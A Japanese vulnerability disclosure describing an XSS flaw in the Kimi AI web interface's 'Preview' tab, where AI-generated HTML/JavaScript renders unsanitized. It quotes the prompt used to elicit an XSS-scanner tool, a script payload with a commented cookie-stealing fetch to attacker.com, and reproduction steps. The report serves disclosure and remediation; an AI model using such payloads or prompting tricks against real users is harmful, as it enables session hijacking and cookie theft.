
Kimi AI v1.0 のWebインターフェースの「プレビュー」機能に、クロスサイトスクリプティング (XSS) の脆弱性が存在します。このアプリケーションは、AIモデルが生成したHTML/JavaScriptペイロードを適切にサニタイズまたはエンコードできません。ユーザーがAI生成コードを表示するために「プレビュー」タブに切り替えると、悪意のあるペイロードがDOMに直接レンダリングされ、被害者のブラウザセッションで任意のJavaScriptが実行される結果となります。
Mustafa Hameed
この脆弱性は、組み込みペイロードを含むセキュリティツールまたはスクリプト(例: XSStrike に類似した自動XSSスキャナー)を生成するようにAIにプロンプトを送ることで悪用できます。AIは要求されたアプリケーションのソースコードを生成しますが、HTML/JavaScriptフレームワーク内に悪意のあるペイロードを埋め込みます。被害者が生成されたツールをテストまたは表示するために「プレビュー」タブに移動すると、埋め込まれた悪意のあるペイロードがサニタイズを回避して即座に実行されます。
"XSStrikeに類似したシンプルなWebベースのXSSスキャナーツールを作成してください。スキャン用のペイロードのリストを含むインターフェースを含めてください。"
<script>
alert('mustafa');
// Potential for malicious action: fetch('http://attacker.com/log?cookie=' + document.cookie)
</script>
1.Kimi AI Webプラットフォームにログインします。
2.スキャナーコードを含むツール(XSStrikeクローンなど)の作成を要求するプロンプトを入力します。
3.AIモデルがコード応答を完全に生成するのを待ちます。
4.チャットインターフェースの「プレビュー」タブをクリックして、レンダリングされたアプリケーションを表示します。
5.アプリケーションがプレビューコンテナ内のJavaScriptコンテキストをフィルタリングできないため、被害者のブラウザでスクリプトが即座に実行されます。
以下は、XSSペイロードが正常に実行されたことを示すスクリーンショットです。「プレビュー」 タブに移動すると、悪意のあるJavaScriptが即座にトリガーされます。
